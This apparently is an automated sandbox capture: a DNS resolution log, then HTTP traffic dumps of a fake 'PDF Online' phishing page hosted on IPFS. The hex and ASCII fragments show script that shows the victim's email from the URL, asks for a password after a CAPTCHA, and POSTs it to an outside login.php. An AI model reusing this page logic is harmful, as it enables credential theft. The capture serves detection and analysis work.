Sep 27, 2024 08:19:41.864423990 CEST	1.1.1.1	192.168.2.4	0xa937	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 27, 2024 08:19:43.631886005 CEST	1.1.1.1	192.168.2.4	0x276b	No error (0)	www.citydiamondcontracting.com	citydiamondcontracting.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:43.631886005 CEST	1.1.1.1	192.168.2.4	0x276b	No error (0)	citydiamondcontracting.com		173.231.215.118	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:43.632585049 CEST	1.1.1.1	192.168.2.4	0x2596	No error (0)	www.citydiamondcontracting.com	citydiamondcontracting.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:44.799288034 CEST	1.1.1.1	192.168.2.4	0x2cb2	No error (0)	www.google.com		172.217.23.100	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:44.799551964 CEST	1.1.1.1	192.168.2.4	0xcab6	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:19:44.926563978 CEST	1.1.1.1	192.168.2.4	0xc60d	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:19:44.926701069 CEST	1.1.1.1	192.168.2.4	0x51b1	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.037965059 CEST	1.1.1.1	192.168.2.4	0xc0c8	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:37.038223982 CEST	1.1.1.1	192.168.2.4	0x1ad5	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:37.038223982 CEST	1.1.1.1	192.168.2.4	0x1ad5	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.185.246	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.185.214	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.184.214	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.185.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.185.118	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		216.58.212.150	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.185.86	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		216.58.206.54	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.184.246	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.181.246	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		216.58.212.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.186.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		172.217.16.150	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		172.217.23.118	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		142.250.185.150	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:38.395203114 CEST	1.1.1.1	192.168.2.4	0x885d	No error (0)	i.ytimg.com		216.58.206.86	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.065310955 CEST	1.1.1.1	192.168.2.4	0x44bd	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Sep 27, 2024 08:20:44.065824986 CEST	1.1.1.1	192.168.2.4	0xc173	No error (0)	googleads.g.doubleclick.net		142.250.185.98	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069158077 CEST	1.1.1.1	192.168.2.4	0x7b93	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069158077 CEST	1.1.1.1	192.168.2.4	0x7b93	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.069180012 CEST	1.1.1.1	192.168.2.4	0x5ff	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.071304083 CEST	1.1.1.1	192.168.2.4	0xdd06	No error (0)	static.doubleclick.net		172.217.16.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.076256037 CEST	1.1.1.1	192.168.2.4	0xea82	No error (0)	yt3.ggpht.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:44.076256037 CEST	1.1.1.1	192.168.2.4	0xea82	No error (0)	photos-ugc.l.googleusercontent.com		172.217.16.193	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:44.076630116 CEST	1.1.1.1	192.168.2.4	0xeb0c	No error (0)	yt3.ggpht.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:50.374353886 CEST	1.1.1.1	192.168.2.4	0x9b41	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.185.246	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.185.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		172.217.23.118	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.185.150	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		216.58.206.54	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.185.86	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		172.217.18.22	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		172.217.16.150	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.186.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.181.246	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.184.214	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.185.118	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.184.246	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.186.54	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		142.250.185.214	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.971440077 CEST	1.1.1.1	192.168.2.4	0x6330	No error (0)	i.ytimg.com		216.58.206.86	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.974342108 CEST	1.1.1.1	192.168.2.4	0x6c34	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.975357056 CEST	1.1.1.1	192.168.2.4	0x7ab	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:20:56.982182026 CEST	1.1.1.1	192.168.2.4	0x8544	No error (0)	static.doubleclick.net		142.250.186.134	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.986181974 CEST	1.1.1.1	192.168.2.4	0x75b9	No error (0)	yt3.ggpht.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:56.986181974 CEST	1.1.1.1	192.168.2.4	0x75b9	No error (0)	photos-ugc.l.googleusercontent.com		142.250.185.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:56.986409903 CEST	1.1.1.1	192.168.2.4	0xa318	No error (0)	yt3.ggpht.com	photos-ugc.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:20:57.121217966 CEST	1.1.1.1	192.168.2.4	0xb214	No error (0)	googleads.g.doubleclick.net		142.250.184.226	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:20:57.122926950 CEST	1.1.1.1	192.168.2.4	0x9d51	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Sep 27, 2024 08:20:57.127341986 CEST	1.1.1.1	192.168.2.4	0x3134	No error (0)	play.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:10.490782022 CEST	1.1.1.1	192.168.2.4	0xeaa3	No error (0)	tomsher.com		173.231.208.7	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:12.651621103 CEST	1.1.1.1	192.168.2.4	0x6f54	No error (0)	www.tomsher.com	tomsher.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:21:12.651621103 CEST	1.1.1.1	192.168.2.4	0x6f54	No error (0)	tomsher.com		173.231.208.7	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:13.579638958 CEST	1.1.1.1	192.168.2.4	0x833c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:13.579638958 CEST	1.1.1.1	192.168.2.4	0x833c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:13.580035925 CEST	1.1.1.1	192.168.2.4	0x23c4	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Sep 27, 2024 08:21:21.025423050 CEST	1.1.1.1	192.168.2.4	0xa8d8	No error (0)	www.tomsher.com	tomsher.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:21:21.025423050 CEST	1.1.1.1	192.168.2.4	0xa8d8	No error (0)	tomsher.com		173.231.208.7	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.754733086 CEST	1.1.1.1	192.168.2.4	0x1c38	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:21:33.754733086 CEST	1.1.1.1	192.168.2.4	0x1c38	No error (0)	analytics-alv.google.com		216.239.32.181	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.754733086 CEST	1.1.1.1	192.168.2.4	0x1c38	No error (0)	analytics-alv.google.com		216.239.34.181	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.754733086 CEST	1.1.1.1	192.168.2.4	0x1c38	No error (0)	analytics-alv.google.com		216.239.38.181	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.754733086 CEST	1.1.1.1	192.168.2.4	0x1c38	No error (0)	analytics-alv.google.com		216.239.36.181	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:33.777621984 CEST	1.1.1.1	192.168.2.4	0xc04c	No error (0)	td.doubleclick.net		142.250.185.162	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:42.034781933 CEST	1.1.1.1	192.168.2.4	0xf6af	No error (0)	stats.g.doubleclick.net		74.125.133.156	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:42.034781933 CEST	1.1.1.1	192.168.2.4	0xf6af	No error (0)	stats.g.doubleclick.net		74.125.133.154	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:42.034781933 CEST	1.1.1.1	192.168.2.4	0xf6af	No error (0)	stats.g.doubleclick.net		74.125.133.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:42.034781933 CEST	1.1.1.1	192.168.2.4	0xf6af	No error (0)	stats.g.doubleclick.net		74.125.133.157	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:47.233028889 CEST	1.1.1.1	192.168.2.4	0xc901	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:21:47.233383894 CEST	1.1.1.1	192.168.2.4	0xc0be	No error (0)	www.google.com			65	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:17:57 UTC	666	OUT	GET / HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:17:57 UTC	1351	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:17:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Ray: 8c995fa48d1f4301-EWR CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 2835627 Cache-Control: max-age=60, stale-while-revalidate=3600 Last-Modified: Sun, 25 Aug 2024 10:37:30 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output access-control-max-age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-cache-status: MISS x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/ x-ipfs-roots: bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m x-request-id: 1bc20a178a94807102722af388994be2 x-xss-protection: 0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=56fzNTPGqCaUJQ%2B4ISWuXR87GhzJb16P0MK%2FTg7VNGgyp9Lnk6SfhY6ghjBx0nPx0wCy%2F78isESqXTud9Lp6%2FWpHFFM76rBt%2B%2FK2pEoV7S9JfdB1T0c7G6K3QY9%2BlvajvynHt2lttc10"}],"group":"cf-nel","max_age":604800}
2024-09-27 06:17:57 UTC	89	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2024-09-27 06:17:57 UTC	1298	IN	Data Raw: 32 30 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 44 46 20 4f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f Data Ascii: 2061<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PDF Online</title> <link rel="stylesheet" href="styles.css"> <script src="https:/
2024-09-27 06:17:57 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 35 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 2f 2a 20 48 69 64 64 65 6e 20 62 79 20 64 65 66 61 75 6c 74 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 Data Ascii: ; height: 100%; background: rgba(0, 0, 0, 0.5); color: #fff; text-align: center; display: none; /* Hidden by default */ align-items: center; justify-content: center
2024-09-27 06:17:57 UTC	1369	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 22 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 22 20 73 74 79 6c 65 3d 22 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 65 64 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 64 64 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 65 72 72 6f 72 2d 74 65 78 74 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 72 65 64 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 Data Ascii: "></div> <div id="error-message" class="error-message" style="border: 1px solid red; background-color: #fdd; padding: 10px; margin: 10px; border-radius: 5px;"> <p id="error-text" style="color: red; font-weight: bold;
2024-09-27 06:17:57 UTC	1369	IN	Data Raw: 73 75 62 73 74 72 69 6e 67 28 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 66 72 61 67 6d 65 6e 74 20 26 26 20 66 72 61 67 6d 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 27 40 27 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 64 69 73 70 6c 61 79 2d 65 6d 61 69 6c 27 29 2e 74 65 78 74 43 6f 6e 74 65 6e 74 20 3d 20 66 72 61 67 6d 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 73 68 6f 77 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 73 65 63 74 69 6f 6e 20 61 66 74 65 72 20 43 41 50 54 43 48 41 20 76 65 72 69 66 69 63 61 74 69 6f 6e Data Ascii: substring(1); if (fragment && fragment.includes('@')) { document.getElementById('display-email').textContent = fragment; } } // Function to show the password section after CAPTCHA verification
2024-09-27 06:17:57 UTC	1369	IN	Data Raw: 65 71 75 65 73 74 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 68 72 2e 6f 70 65 6e 28 27 50 4f 53 54 27 2c 20 27 68 74 74 70 73 3a 2f 2f 30 30 30 77 65 62 68 68 6f 73 74 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 2c 20 74 72 75 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 68 72 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 2c 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 68 72 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 78 68 72 2e 72 65 61 64 79 53 Data Ascii: equest(); xhr.open('POST', 